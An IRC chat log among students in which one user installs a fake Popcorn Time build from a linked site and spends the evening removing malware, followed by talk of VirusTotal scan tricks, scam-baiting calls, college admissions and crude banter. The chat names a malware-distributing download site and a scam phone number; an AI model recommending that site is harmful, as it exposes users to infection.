[2015-03-27T18:16:14-0400] <jwoglom> i have a xp pro gold (no service packs) iso :P
[2015-03-27T18:21:17-0400] <z3t> Scan complete: 55 detected items
[2015-03-27T18:21:20-0400] <z3t> Thanks, JacobEdelman.
[2015-03-27T18:24:09-0400] <z3t> restarting, brb.
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[2015-03-27T18:36:29-0400] <JacobEdelman> hey, I know plenty of people who have used it without any problems
[2015-03-27T18:36:51-0400] <LittleBobbyTables> I wanted infected exes!
[2015-03-27T18:37:00-0400] <JacobEdelman> just go to http://popcorn-time-free.com/
[2015-03-27T18:37:07-0400] <JacobEdelman> apparentely it has viruses
[2015-03-27T18:37:17-0400] <JacobEdelman> even though its the best application ever if you run linux
[2015-03-27T18:37:24-0400] <JacobEdelman> and I havn't seen no viruses
[2015-03-27T18:37:27-0400] <LittleBobbyTables> I already have popcorn time
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[2015-03-27T18:41:21-0400] <z3t> I can't even install adblock now
[2015-03-27T18:41:22-0400] <z3t> -_-
[2015-03-27T18:44:26-0400] <LittleBobbyTables> rip
[2015-03-27T18:44:38-0400] <LittleBobbyTables> Why install the shitty version of popcorn time?
[2015-03-27T18:46:54-0400] <z3t> I installed what was linked by JacobEdelman, trusting him.
[2015-03-27T18:49:22-0400] <LittleBobbyTables> popcorntime.io, popcorn-time.se
[2015-03-27T18:49:26-0400] <LittleBobbyTables> Both of those are significantly better.
[2015-03-27T18:49:33-0400] <LittleBobbyTables> .io is the one I use.
[2015-03-27T18:51:38-0400] <JacobEdelman> really?
[2015-03-27T18:51:40-0400] <JacobEdelman> this one has a vpn
[2015-03-27T18:51:42-0400] <JacobEdelman> ..
[2015-03-27T18:51:53-0400] <JacobEdelman> and lets you use native media players
[2015-03-27T18:51:58-0400] <JacobEdelman> and other features I have not used yet
[2015-03-27T18:52:29-0400] <JacobEdelman> oh wait
[2015-03-27T18:52:35-0400] <JacobEdelman> both of the others ones are open source
[2015-03-27T18:52:41-0400] <JacobEdelman> fine, I'll switch
[2015-03-27T18:52:56-0400] <LittleBobbyTables> Their vpn is also shitty btw
[2015-03-27T18:52:58-0400] <LittleBobbyTables> Leaks too much
[2015-03-27T18:58:52-0400] <z3t> Well I guess i'm going to go reinstall chrome now
[2015-03-27T18:58:54-0400] <z3t> thanks JacobEdelman
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[2015-03-27T19:07:34-0400] <LittleBobbyTables> protip: Things with "free" in the url generally are shit
[2015-03-27T19:08:19-0400] <JacobEdelman> LittleBobbyTables: yeah, there were so many red flags
[2015-03-27T19:08:21-0400] <JacobEdelman> but you know
[2015-03-27T19:08:30-0400] <JacobEdelman> my little brother used it and had no problem
[2015-03-27T19:08:33-0400] <LittleBobbyTables> gotta go with the closed source bloatware!
[2015-03-27T19:21:36-0400] <+awe> [16:24:41]  <jwoglom>	Also I don't remember awe joining #tjhsst?
[2015-03-27T19:21:44-0400] <+awe> jwoglom: I used some random student's name.
[2015-03-27T19:21:47-0400] <+awe> jwoglom: They banned me.
[2015-03-27T19:21:55-0400] <jwoglom> oh ok
[2015-03-27T19:22:06-0400] <+awe> jwoglom: And then I watched the bot logs and read the ensuing discussion about how inappropriate his behavior was in banning me.
[2015-03-27T19:22:15-0400] <jwoglom> ah, fun :P
[2015-03-27T19:22:41-0400] <LittleBobbyTables> I should have seen what happened after I got banned.
[2015-03-27T19:23:14-0400] <alokpathy> Lol how the hell am I still in that
[2015-03-27T19:23:42-0400] <LittleBobbyTables> under what name
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[2015-03-27T19:25:12-0400] <+awe> JacobEdelman: tulip seems cute.
[2015-03-27T19:25:26-0400] <z3t> so after 3 restarts and scan/removals, there are still infected files JacobEdelman.
[2015-03-27T19:25:31-0400] <alokpathy> LittleBobbyTables: alokpathy
[2015-03-27T19:25:36-0400] <LittleBobbyTables> lol
[2015-03-27T19:25:47-0400] <LittleBobbyTables> z3t: noob
[2015-03-27T19:25:57-0400] <z3t> and I can still not install adblock
[2015-03-27T19:26:42-0400] <LittleBobbyTables> lern 2 virus
[2015-03-27T19:27:36-0400] <+awe> z3t: he linked to the wrong Popcorn Time site.
[2015-03-27T19:27:56-0400] <+awe> LittleBobbyTables is right about the io one.
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[2015-03-27T19:31:00-0400] <micrictor> Literally burned out my hdd
[2015-03-27T19:31:16-0400] <LittleBobbyTables> with fire?
[2015-03-27T19:31:22-0400] <micrictor> err cpu
[2015-03-27T19:31:23-0400] <z3t> pls remove link permissions awe
[2015-03-27T19:31:26-0400] <micrictor> no I was playing go
[2015-03-27T19:31:28-0400] <micrictor> csgo
[2015-03-27T19:31:31-0400] <micrictor> then hardcore break
[2015-03-27T19:31:41-0400] <+awe> My advice is just don't listen to JacobEdelman about anything.
[2015-03-27T19:32:01-0400] <z3t> I had come to that conclusion earlier.
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[2015-03-27T19:33:17-0400] <+awe> JacobEdelman: https://gist.github.com/aatxe/935089
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[2015-03-27T19:33:22-0400] <+awe> JacobEdelman: look, there was a time where I did Python.
[2015-03-27T19:33:28-0400] <LittleBobbyTables> z3t: do you need help with this
[2015-03-27T19:33:46-0400] <z3t> no LittleBobbyTables it is my war
[2015-03-27T19:33:53-0400] <z3t> I shall conquer
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[2015-03-27T19:34:45-0400] <+awe> https://gist.github.com/aatxe/935712
[2015-03-27T19:34:45-0400] <z3t> Alright removed only 13 this time...restart again
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[2015-03-27T19:35:57-0400] <+awe> And I wrote lousy PHP code!
[2015-03-27T19:35:57-0400] <+awe> https://gist.github.com/aatxe/7042b694f0a8b94cec05
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[2015-03-27T19:41:35-0400] <alokpathy> Wow, 2011
[2015-03-27T19:41:38-0400] <alokpathy> 4 years ago
[2015-03-27T19:41:59-0400] <LittleBobbyTables> Did you know
[2015-03-27T19:42:00-0400] <LittleBobbyTables> 2009
[2015-03-27T19:42:03-0400] <LittleBobbyTables> was 6 years ago
[2015-03-27T19:46:31-0400] <+awe> alokpathy: I also used to do Python in my pre-GitHub days.
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[2015-03-27T19:52:56-0400] <fwilson> aww 
[2015-03-27T19:52:58-0400] <fwilson> boring
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[2015-03-27T19:53:01-0400] <fwilson> YES
[2015-03-27T19:53:03-0400] <fwilson> GOOD
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[2015-03-27T19:55:54-0400] <jwoglom> fwilson: is that your bot?
[2015-03-27T19:56:08-0400] <fwilson> jwoglom: no
[2015-03-27T19:56:10-0400] <fwilson> not yet
[2015-03-27T19:56:17-0400] <jwoglom> Also android keyboard doesn't have bot in its dictionary, pls
[2015-03-27T19:56:31-0400] <jwoglom> Oh, givemethe.science, nice :P
[2015-03-27T19:56:52-0400] <fwilson> yeah lol
[2015-03-27T20:18:05-0400] <z3t> so this virus is injecting firefox pages
[2015-03-27T20:18:06-0400] <z3t> http://puu.sh/gSoi3/a515d25a88.png
[2015-03-27T20:18:12-0400] <z3t> should I call ;o
[2015-03-27T20:18:36-0400] <micrictor> google voice that bitch
[2015-03-27T20:18:43-0400] <micrictor> then give them fake info
[2015-03-27T20:19:17-0400] <sdamashek> fwilson: https://i.imgur.com/iYZM3QR.gifv
[2015-03-27T20:19:17-0400] <micrictor> http://www.fakenamegenerator.com/
[2015-03-27T20:19:27-0400] <fwilson> https://www.youtube.com/watch?v=apwA8UQ_xeE
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[2015-03-27T20:34:08-0400] <jwoglom> z3t: try malwarebytes?
[2015-03-27T20:35:54-0400] <z3t> that would be what I'm running
[2015-03-27T20:36:06-0400] <z3t> running windows defender full scan too
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[2015-03-27T20:40:49-0400] <LittleBobbyTables> You sure you don't want help with this
[2015-03-27T20:41:56-0400] <z3t> i don't know
[2015-03-27T20:43:08-0400] <z3t> I could make bank off of this tho :D http://puu.sh/gSpM2/fa0d5991e9.png
[2015-03-27T20:44:38-0400] <z3t> http://puu.sh/gSpXq/71361c7f6f.jpg
[2015-03-27T20:45:54-0400] <alokpathy> JacobEdelman: Why are you still in the TJ chat? 
[2015-03-27T20:45:59-0400] <alokpathy> I thought you said you were kicked.
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[2015-03-27T20:46:34-0400] <jwoglom> he *thought* he was about to be kicked
[2015-03-27T20:46:42-0400] <jwoglom> but he was really just asked whether he was a tj student or not
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[2015-03-27T21:02:25-0400] <grantwu> z3t Do you have an antivirus? o.O
[2015-03-27T21:05:44-0400] <grantwu> I'm surprised it didn't catch anything before you installed
[2015-03-27T21:07:08-0400] <z3t> I have windows defender on live protection, which has worked in the past
[2015-03-27T21:08:19-0400] <grantwu> Avast blocked it
[2015-03-27T21:08:41-0400] <grantwu> Lol, they link to a clean virustotal page
[2015-03-27T21:09:00-0400] <grantwu> They just uploaded a clean executable... here's what I get when I disable avast shields and uploaded the real file: https://www.virustotal.com/en/file/f4b3df5dd4c6f23c5e2afd708f0a33066b3ce9af9043783441f3e1f518fb966f/analysis/1427504881/
[2015-03-27T21:09:49-0400] <jwoglom> nice.
[2015-03-27T21:10:54-0400] <jwoglom> of course they would do that -- always upload it manually :P
[2015-03-27T21:11:20-0400] <grantwu> virustotal needs to block links
[2015-03-27T21:11:28-0400] <grantwu> Well, idk.
[2015-03-27T21:11:35-0400] <grantwu> That would've prevented me from doing what I did.
[2015-03-27T21:11:49-0400] <grantwu> Maybe they should only block links to clean scans
[2015-03-27T21:12:00-0400] <fwilson> how?
[2015-03-27T21:12:08-0400] <grantwu> Set a cookie upon going to mainpage or something
[2015-03-27T21:12:11-0400] <jwoglom> that wouldn't really solve the problem i think
[2015-03-27T21:12:25-0400] <jwoglom> there really isn't a way virustotal can solve the problem
[2015-03-27T21:12:32-0400] <jwoglom> they show the sha hash
[2015-03-27T21:12:47-0400] <grantwu> If they block links to clean scans, you *have* to manually upload it
[2015-03-27T21:12:51-0400] <jwoglom> the user should verify that what they downloaded is the same hash, except honestly who will actually do that
[2015-03-27T21:12:57-0400] <fwilson> jwoglom: i mean i will lol
[2015-03-27T21:13:15-0400] <jwoglom> okay, besides the 27 pdgners :P
[2015-03-27T21:13:19-0400] <grantwu> I don't mean blocking as in, physically taking them down
[2015-03-27T21:13:40-0400] <jwoglom> what's the clean virustotal page they link to
[2015-03-27T21:13:51-0400] <grantwu> I mean that if someone visits a link to a clean scan that they don't have a cookie that states that they uploaded the file, they will redirect it
[2015-03-27T21:14:03-0400] <grantwu> They link https://www.virustotal.com/en/file/4706c4930efc325010a644b9b1871a52368bce552243d8bd114d4d14f6e830ff/analysis/1427140847/
[2015-03-27T21:14:42-0400] <jwoglom> you could contact virustotal about that
[2015-03-27T21:14:54-0400] <jwoglom> maybe they can disable the url
[2015-03-27T21:16:27-0400] <fwilson> jwoglom: or just manually set the results to all virus
[2015-03-27T21:16:31-0400] <fwilson> that would be funnier
[2015-03-27T21:16:50-0400] <grantwu> lulz
[2015-03-27T21:16:51-0400] <jwoglom> 57/57 scans found a virus!!!!!
[2015-03-27T21:16:57-0400] <jwoglom> and many malwares!
[2015-03-27T21:17:18-0400] <grantwu> I'm surprised that they didn't indicate that Avast complained
[2015-03-27T21:17:24-0400] <grantwu> Avast complained on my system immediately
[2015-03-27T21:17:31-0400] <grantwu> Then tried to sell me an antivirus upgrade ._.
[2015-03-27T21:17:48-0400] <fwilson> lol
[2015-03-27T21:17:49-0400] <jwoglom> yeah avast has kind of become adware itself
[2015-03-27T21:17:56-0400] <fwilson> grantwu: have you seen our tech support scam video series
[2015-03-27T21:17:57-0400] <jwoglom> i stopped using it several years ago on my windows machines
[2015-03-27T21:18:04-0400] <fwilson> speaking of antivirus upgrades
[2015-03-27T21:18:06-0400] <grantwu> fwilson: No, I haven't
[2015-03-27T21:18:10-0400] <jwoglom> fwilson: i don't think those ever got shared in here
[2015-03-27T21:18:11-0400] <fwilson> grantwu: it's excellent
[2015-03-27T21:18:22-0400] <fwilson> sdamashek, jwoglom, and I were bored one Friday afternoon
[2015-03-27T21:18:27-0400] <jwoglom> you and sdamashek weren't here at the time
[2015-03-27T21:18:35-0400] <grantwu> I'm honestly willing to put up with it, to be honest.  I find Avast is pretty sensitive compared to other products.
[2015-03-27T21:18:48-0400] <jwoglom> i don't use antivirus software on my windows machines
[2015-03-27T21:18:56-0400] <fwilson> grantwu: https://www.youtube.com/watch?v=qEXE44C54dc&list=PL6RQ9wI86evSB9Y99aSthAFBx4K5IQRLE
[2015-03-27T21:19:18-0400] <jwoglom> they are worth the watch
[2015-03-27T21:19:39-0400] <jwoglom> fwilson: oh wait, what? you posted more than just the first 4?
[2015-03-27T21:19:41-0400] <grantwu> Er, I don't get it, what is happening in this video?
[2015-03-27T21:19:42-0400] <fwilson> dns errors means domain name server, means your domain is under threat right now
[2015-03-27T21:19:44-0400] <fwilson> jwoglom: yes
[2015-03-27T21:19:46-0400] <fwilson> grantwu: we called tech support scams
[2015-03-27T21:19:56-0400] <grantwu> oh
[2015-03-27T21:20:18-0400] <grantwu> My mom almost fell for one of those.
[2015-03-27T21:20:31-0400] <fwilson> we fell for 12
[2015-03-27T21:20:34-0400] <fwilson> and recorded them
[2015-03-27T21:20:38-0400] <fwilson> well not fell for them
[2015-03-27T21:20:44-0400] <sdamashek> oh that
[2015-03-27T21:20:46-0400] <sdamashek> that was amazing
[2015-03-27T21:20:52-0400] <fwilson> sdamashek: we should do more this weekend
[2015-03-27T21:20:56-0400] <jwoglom> yes pls
[2015-03-27T21:20:58-0400] <sdamashek> one guy just said "take your middle finger and stick it up your butthole"
[2015-03-27T21:21:03-0400] <sdamashek> fwilson: definitely
[2015-03-27T21:21:04-0400] <fwilson> if pdgn people want to join in the hangout
[2015-03-27T21:21:11-0400] <fwilson> we should figure out how to phone call from a moderated one
[2015-03-27T21:21:16-0400] <z3t> fwilson call the number in the popup I posted a bit ago
[2015-03-27T21:21:21-0400] <grantwu> But thankfully her miserly ways kicked in once they wanted money
[2015-03-27T21:21:28-0400] <jwoglom> maybe we could figure out hangouts on air with a phone # in the call?
[2015-03-27T21:21:37-0400] <fwilson> jwoglom: yeah
[2015-03-27T21:21:39-0400] <fwilson> that would be good
[2015-03-27T21:21:43-0400] <fwilson> z3t: can you relink it?
[2015-03-27T21:21:50-0400] <sdamashek> it didn't seem like that was possible though
[2015-03-27T21:22:07-0400] <fwilson> "we need to install securities on this computer"
[2015-03-27T21:22:54-0400] <sdamashek> first I have to figure out how to do a hangout on air
[2015-03-27T21:22:58-0400] <fwilson> lol
[2015-03-27T21:23:01-0400] <z3t> http://puu.sh/gSoi3/a515d25a88.png
[2015-03-27T21:23:12-0400] <fwilson> lol
[2015-03-27T21:23:16-0400] <fwilson> will bookmark
[2015-03-27T21:23:26-0400] <sdamashek> http://800notes.com/Phone.aspx/1-855-286-0309/2
[2015-03-27T21:23:28-0400] <sdamashek> looks good
[2015-03-27T21:23:31-0400] <z3t> would love to listen in on calls :)
[2015-03-27T21:23:36-0400] <fwilson> excellent
[2015-03-27T21:24:09-0400] <jwoglom> "sir, this is the wifi router technical support, not mail support." -- gateway "technical support" line
[2015-03-27T21:24:28-0400] <fwilson> z3t: https://www.youtube.com/watch?v=7aOjsVkXR5c
[2015-03-27T21:24:30-0400] <fwilson> this one
[2015-03-27T21:24:31-0400] <sdamashek> yeah, there was this one guy we kept reaching through different numbers who was a different company each time
[2015-03-27T21:24:32-0400] <fwilson> is the best
[2015-03-27T21:24:40-0400] <jwoglom> sdamashek: yes, that, omg :P
[2015-03-27T21:25:25-0400] <sdamashek> absolutely brilliant
[2015-03-27T21:27:18-0400] <sdamashek> "That is the way it is designed.  You can't add a phone in a Hangout on Air.  It's something to do with the inability for a phone participant to consent to a recorded broadcast."
[2015-03-27T21:27:38-0400] <fwilson> lol so what
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[2015-03-27T21:27:46-0400] <jwoglom> we could probably chain together two separate hangouts or something
[2015-03-27T21:27:50-0400] <jwoglom> hackily
[2015-03-27T21:28:00-0400] <sdamashek> yeah that's what I was thinking
[2015-03-27T21:28:21-0400] <sdamashek> or we can just livestream the hangouts page
[2015-03-27T21:28:55-0400] <jwoglom> yeah, plus doesn't livestream save recordings?
[2015-03-27T21:28:56-0400] <fwilson> you have call the wrong number
[2015-03-27T21:29:29-0400] <sdamashek> ustream does
[2015-03-27T21:29:48-0400] <jwoglom> well then use that
[2015-03-27T21:30:03-0400] <fwilson> but single-user
[2015-03-27T21:30:10-0400] <fwilson> like no group video chats afterwards
[2015-03-27T21:30:34-0400] <jwoglom> well i was meaning use ustream for the sharing with people not in the hangout part
[2015-03-27T21:30:37-0400] <sdamashek> fwilson: hmm? everybody participating would be in the hangout
[2015-03-27T21:30:43-0400] <jwoglom> and for making recordings
[2015-03-27T21:30:44-0400] <sdamashek> but livestream for anybody else and recording
[2015-03-27T21:31:52-0400] <fwilson> oh
[2015-03-27T21:31:55-0400] <fwilson> yeah that's a good idea
[2015-03-27T21:34:39-0400] <fwilson> we should make a series
[2015-03-27T21:34:42-0400] <fwilson> and consistently do it
[2015-03-27T21:34:50-0400] <fwilson> like an hour-long episode every friday
[2015-03-27T21:35:11-0400] <jwoglom> that'd be cool
[2015-03-27T21:35:35-0400] <fwilson> we could actually do it semi-professionally-looking
[2015-03-27T21:36:35-0400] <+awe> Mmm, it's a pancake night.
[2015-03-27T21:40:39-0400] <sdamashek> chrome remote desktop server doesn't work well on arch :(
[2015-03-27T21:47:40-0400] <LittleBobbyTables> z3t did you fix it
[2015-03-27T21:48:41-0400] <z3t> still running windows defender
[2015-03-27T21:48:57-0400] <z3t> it's like 25% done
[2015-03-27T21:49:20-0400] <fwilson> yeah we should totally do this tomorrow
[2015-03-27T21:50:31-0400] <+awe> Those were some good pancakes.
[2015-03-27T21:50:33-0400] <+awe> Nice job, me.
[2015-03-27T21:51:05-0400] <sdamashek> fwilson: I won't be able to do it tomorrow, if you do
[2015-03-27T21:51:08-0400] <fwilson> sdamashek: ok :(
[2015-03-27T21:51:12-0400] <fwilson> sunday?
[2015-03-27T21:51:14-0400] <sdamashek> flying to mexico
[2015-03-27T21:51:16-0400] <fwilson> ah
[2015-03-27T21:51:18-0400] <sdamashek> fwilson: sunday will work
[2015-03-27T21:51:25-0400] <fwilson> yay!
[2015-03-27T21:51:27-0400] <fwilson> i mean
[2015-03-27T21:51:30-0400] <fwilson> i don't want to interrupt your vacation
[2015-03-27T21:51:35-0400] <fwilson> but if you are available ¯\_(ツ)_/¯
[2015-03-27T21:51:42-0400] <sdamashek> lol, this /is/ my vacation :P
[2015-03-27T21:52:26-0400] <fwilson> dank
[2015-03-27T21:52:49-0400] <+awe> sdamashek: you're going to Mexico? Neat.
[2015-03-27T21:53:49-0400] <sdamashek> awe: yeah, to cancun for a vacation with my aunt/uncle
[2015-03-27T21:54:00-0400] <sdamashek> (FCPS has spring break next week)
[2015-03-27T21:54:05-0400] <z3t> woot
[2015-03-27T21:54:43-0400] <z3t> We also have the monday following next week off sdamashek :D
[2015-03-27T21:54:49-0400] <jwoglom> teacher workday, lol
[2015-03-27T21:54:51-0400] <sdamashek> yeah :D
[2015-03-27T21:54:56-0400] <sdamashek> aka bullshit day!
[2015-03-27T21:55:02-0400] <sdamashek> but I'll take it
[2015-03-27T21:55:07-0400] <+awe> We have 4/20 day off from school.
[2015-03-27T21:55:09-0400] <sdamashek> I'm going to korea then
[2015-03-27T21:55:29-0400] <jwoglom> awe: are they expecting everyone to blaze it?
[2015-03-27T21:55:32-0400] <+awe> Yes.
[2015-03-27T21:55:35-0400] <z3t> ayyy
[2015-03-27T21:55:38-0400] <sdamashek> awe: lol, nice
[2015-03-27T21:55:40-0400] <jwoglom> does that include you? :P
[2015-03-27T21:55:45-0400] <+awe> We have a weekend long event called Extravaganja.
[2015-03-27T21:55:52-0400] <z3t> lol
[2015-03-27T21:57:08-0400] <sdamashek> fwilson: https://www.youtube.com/watch?v=8FtrmT29qZ8
[2015-03-27T21:57:47-0400] <fwilson> sdamashek: dank
[2015-03-27T21:58:04-0400] <fwilson> i'm michael! WHO ARE YOU!
[2015-03-27T21:58:21-0400] <sdamashek> this is great
[2015-03-27T21:58:31-0400] <sdamashek> jwoglom too
[2015-03-27T21:58:35-0400] <LittleBobbyTables> My thigh hurts
[2015-03-27T21:58:38-0400] <LittleBobbyTables> And it's not aids
[2015-03-27T21:58:50-0400] <fwilson> this is incredible
[2015-03-27T21:58:51-0400] <jwoglom> "thank you for calling irs"
[2015-03-27T21:59:07-0400] <fwilson> i am with the internal revenue service
[2015-03-27T21:59:36-0400] <jwoglom> lol, this.
[2015-03-27T21:59:42-0400] <fwilson> this is great
[2015-03-27T21:59:50-0400] <alokpathy> Wait what's happening?
[2015-03-27T21:59:57-0400] <LittleBobbyTables> sex
[2015-03-27T21:59:59-0400] <sdamashek> alokpathy: https://www.youtube.com/watch?v=8FtrmT29qZ8
[2015-03-27T22:00:00-0400] <LittleBobbyTables> while listening to a video
[2015-03-27T22:00:07-0400] <fwilson> LittleBobbyTables: and chatting on IRC
[2015-03-27T22:00:09-0400] <fwilson> that's great
[2015-03-27T22:00:13-0400] <fwilson> you sure can multitask ( ͡° ͜ʖ ͡°)
[2015-03-27T22:00:16-0400] <LittleBobbyTables> that too
[2015-03-27T22:00:21-0400] <LittleBobbyTables> right
[2015-03-27T22:00:30-0400] <jwoglom> nothing wrong with multitasking :P
[2015-03-27T22:00:30-0400] <LittleBobbyTables> don't need hands to listen
[2015-03-27T22:00:44-0400] <LittleBobbyTables> can't hear complaints while she's drowned out by trolls Kappa
[2015-03-27T22:01:14-0400] <sdamashek> lol the interrupting part
[2015-03-27T22:01:51-0400] <fwilson> dank
[2015-03-27T22:02:06-0400] <sdamashek> rofl
[2015-03-27T22:04:36-0400] <fwilson> this is excellent
[2015-03-27T22:05:29-0400] <fwilson> the interrupting part
[2015-03-27T22:05:35-0400] <sdamashek> yup
[2015-03-27T22:06:33-0400] <fwilson> dark matter forms in the solar system
[2015-03-27T22:06:45-0400] <sdamashek> "what does that mean"
[2015-03-27T22:07:20-0400] <fwilson> DO YOU SWEAR ON YOUR MOTHER
[2015-03-27T22:07:39-0400] <sdamashek> all the time
[2015-03-27T22:10:21-0400] <fwilson> "yes, I'm ****ing your mother mother****er"
[2015-03-27T22:10:24-0400] <fwilson> that's great
[2015-03-27T22:10:32-0400] <fwilson> that's great
[2015-03-27T22:18:42-0400] <fwilson> jwoglom: would you be busy on sunday
[2015-03-27T22:19:09-0400] <jwoglom> fwilson: i'd be free in the afternoon
[2015-03-27T22:19:28-0400] <sdamashek> cool
[2015-03-27T22:37:52-0400] <grantwu> omg
[2015-03-27T22:37:58-0400] <grantwu> this week's problem set
[2015-03-27T22:38:00-0400] <grantwu> is impossibru
[2015-03-27T22:38:22-0400] <grantwu> crie
[2015-03-27T22:44:19-0400] <fwilson> dank
[2015-03-27T22:44:21-0400] <fwilson> jwoglom: ok
[2015-03-27T22:44:23-0400] <fwilson> great
[2015-03-27T22:45:06-0400] <z3t> too many red names
[2015-03-27T22:45:06-0400] <z3t> ;l
[2015-03-27T22:45:09-0400] <fwilson> heh
[2015-03-27T22:45:15-0400] <fwilson> weechat?
[2015-03-27T22:45:29-0400] <z3t> using kiwi because weechat doesn't like the ssl connection with pdgn for me :/
[2015-03-27T22:45:45-0400] <jwoglom> in this channel w/ weechat's default colorscheme, it's reasonably balanced
[2015-03-27T22:46:08-0400] <bob_twinkles> z3t: gotta turn of DH minimum key size, then it works
[2015-03-27T22:46:13-0400] <bob_twinkles> which is less than great, but oh well
[2015-03-27T22:46:32-0400] <grantwu> bob_twinkles: CMU decisions are coming out!
[2015-03-27T22:46:38-0400] <grantwu> I BERIEVE IN YOU
[2015-03-27T22:46:42-0400] <bob_twinkles> lol nope
[2015-03-27T22:46:53-0400] <grantwu> YAS
[2015-03-27T22:46:55-0400] <grantwu> I BERIEVE
[2015-03-27T22:47:28-0400] <grantwu> Wait are you the person applying
[2015-03-27T22:47:30-0400] <grantwu> I forget
[2015-03-27T22:47:36-0400] <bob_twinkles> I got reject from SCS and something that said basically "uh.. we probably won't have space for you on the ECE waitlist, but you can be everywhere else?"
[2015-03-27T22:47:41-0400] <bob_twinkles> I was =P
[2015-03-27T22:47:51-0400] <bob_twinkles> I honestly didn't expect to get accepted, the GPA was not real enough
[2015-03-27T22:47:56-0400] <fwilson> heh
[2015-03-27T22:48:04-0400] <grantwu> oh :(
[2015-03-27T22:48:11-0400] <grantwu> You already got letter?
[2015-03-27T22:48:14-0400] <grantwu> crie
[2015-03-27T22:48:19-0400] <bob_twinkles> ayup
[2015-03-27T22:48:26-0400] <bob_twinkles> hey, at least they bothered to send real mail
[2015-03-27T22:48:32-0400] <bob_twinkles> UVA didn't even do that =P
[2015-03-27T22:48:39-0400] <grantwu> sigh.  Well, we have to be picky, I guess...
[2015-03-27T22:48:52-0400] <grantwu> The classroom/housing situation is rather dire.
[2015-03-27T22:49:03-0400] <grantwu> there was a year where they ran out of space and housed students in Holiday Inn.
[2015-03-27T22:49:14-0400] <bob_twinkles> yeah, IIRC the SCS program is like ~150 people
[2015-03-27T22:49:19-0400] <grantwu> 138
[2015-03-27T22:49:20-0400] <fwilson> grantwu: ...nice.
[2015-03-27T22:49:23-0400] <bob_twinkles> the way to get in is to apply early and I didn't do that
[2015-03-27T22:49:29-0400] <bob_twinkles> 10/10 for the holiday inn thing though
[2015-03-27T22:49:30-0400] <grantwu> I applied regular
[2015-03-27T22:49:35-0400] <jwoglom> holiday inn? lol
[2015-03-27T22:49:36-0400] <grantwu> merp
[2015-03-27T22:50:00-0400] <grantwu> Also classes run from 8:30 in the morning to night because
[2015-03-27T22:50:02-0400] <grantwu> No room
[2015-03-27T22:51:14-0400] <bob_twinkles> yeah, the CMU campus is really small
[2015-03-27T22:51:21-0400] <grantwu> which means student activities, which used to have after 4:30 as "extracurricular time" to schedule activities no longer has that
[2015-03-27T22:51:30-0400] <bob_twinkles> like, it fits in 2 city blocks or something like that
[2015-03-27T22:51:56-0400] <grantwu> basically
[2015-03-27T22:52:12-0400] <sdamashek> ow...
[2015-03-27T22:52:30-0400] <grantwu> bob_twinkles: Are you not still considering CIT?
[2015-03-27T22:52:49-0400] <grantwu> If you do well enough in intro to ECE, transfer to ECE is fairly trivial
[2015-03-27T22:53:37-0400] <z3t> woo windows defender 90%
[2015-03-27T22:53:52-0400] <jwoglom> the university of pittsburgh is a lot larger than CMU, i was surprised when i saw that
[2015-03-27T22:54:14-0400] <bob_twinkles> grantwu: I'd have to like fight to get on and then through the ECE waitlist, and I'm not really feelin that
[2015-03-27T22:54:15-0400] <z3t> pitt is like right in the city tho :(
[2015-03-27T22:54:22-0400] <grantwu> It's got 18k undergrads of course it is
[2015-03-27T22:54:30-0400] <+awe> z3t: it's a lousy city though.
[2015-03-27T22:54:47-0400] <bob_twinkles> eh, some people really like pittsburgh
[2015-03-27T22:54:51-0400] <z3t> tru, I go up there a few times a year to visit family. always sucks
[2015-03-27T22:54:53-0400] <grantwu> bob_twinkles: Why do you say you'd have to fight to get on?
[2015-03-27T22:54:54-0400] <+awe> Some people are wrong.
[2015-03-27T22:55:01-0400] <grantwu> Why is it lousy?
[2015-03-27T22:55:13-0400] <grantwu> I haven't had any time to explore it :/
[2015-03-27T22:55:43-0400] <grantwu> The weather is meh, it snowed today
[2015-03-27T22:55:44-0400] <fwilson> z3t: lelwindows
[2015-03-27T22:55:51-0400] <z3t> sh
[2015-03-27T22:55:55-0400] <fwilson> /bin/sh
[2015-03-27T22:55:56-0400] <z3t> JacobEdelman I still hate you btw
[2015-03-27T22:56:00-0400] <+awe> It's a prime example of the collapsed American industrial town.
[2015-03-27T22:56:23-0400] <grantwu> Well, yes.
[2015-03-27T22:56:36-0400] <bob_twinkles> grantwu: the decision was probably the most complex and convoluted I've ever recieved =P
[2015-03-27T22:56:58-0400] <grantwu> bob_twinkles: Eh.  What did it say, exactly?
[2015-03-27T22:57:26-0400] <bob_twinkles> "We don't expect a position to open up on the ECE waitlist, but you can waitlist yourself to one of our other engineering schools. You're rejected from SCS, sorry"
[2015-03-27T22:57:57-0400] <grantwu> Being admitted to ECE is actually kind of meaningless, though.
[2015-03-27T22:58:11-0400] <grantwu> Engineering didn't declare until two days ago.
[2015-03-27T22:58:15-0400] <+awe> [22:49:03]  <grantwu>	there was a year where they ran out of space and housed students in Holiday Inn.
[2015-03-27T22:58:22-0400] <+awe> grantwu: a number of schools just shove three people into doubles.
[2015-03-27T22:58:27-0400] <sdamashek> lol are you serious
[2015-03-27T22:58:30-0400] <sdamashek> holiday inn
[2015-03-27T22:58:31-0400] <+awe> Yes.
[2015-03-27T22:58:37-0400] <+awe> Oh, Holiday Inn sounds way better.
[2015-03-27T22:58:47-0400] <sdamashek> this is true
[2015-03-27T22:59:00-0400] <sdamashek> holiday inn isn't half bad
[2015-03-27T22:59:05-0400] <grantwu> Well, obviously better, but with some of the doubles, there physically wouldn't be space to separate the beds.
[2015-03-27T22:59:11-0400] <+awe> Yup.
[2015-03-27T22:59:15-0400] <+awe> They still do it.
[2015-03-27T22:59:18-0400] <grantwu> You'd roll off your bed and right onto the next person's bed.
[2015-03-27T22:59:35-0400] <z3t> ;(
[2015-03-27T22:59:36-0400] <sdamashek> that sounds not good
[2015-03-27T22:59:47-0400] <grantwu> That's for the smallest dorm though.
[2015-03-27T22:59:54-0400] <grantwu> Or the dorm with the smallest rooms.
[2015-03-27T23:00:45-0400] <sdamashek> :/
[2015-03-27T23:01:20-0400] <+awe> The smallest doubles on my campus are these singles that were designed for medical students but were later turned into doubles.
[2015-03-27T23:01:25-0400] <+awe> So, there's virtually no room.
[2015-03-27T23:01:26-0400] <+awe> They're tiny.
[2015-03-27T23:02:05-0400] <z3t> off topic: which to learn, C or C++
[2015-03-27T23:02:09-0400] <+awe> C.
[2015-03-27T23:02:12-0400] <+awe> It's not as painful.
[2015-03-27T23:02:17-0400] <grantwu> z3t: What are your goals?
[2015-03-27T23:02:25-0400] <grantwu> C++ can make you more of the moneys.
[2015-03-27T23:02:30-0400] <sdamashek> I would recommend C, personally
[2015-03-27T23:02:46-0400] <z3t> don't really have any goals grantwu, just tired of doing everything in Java ;p
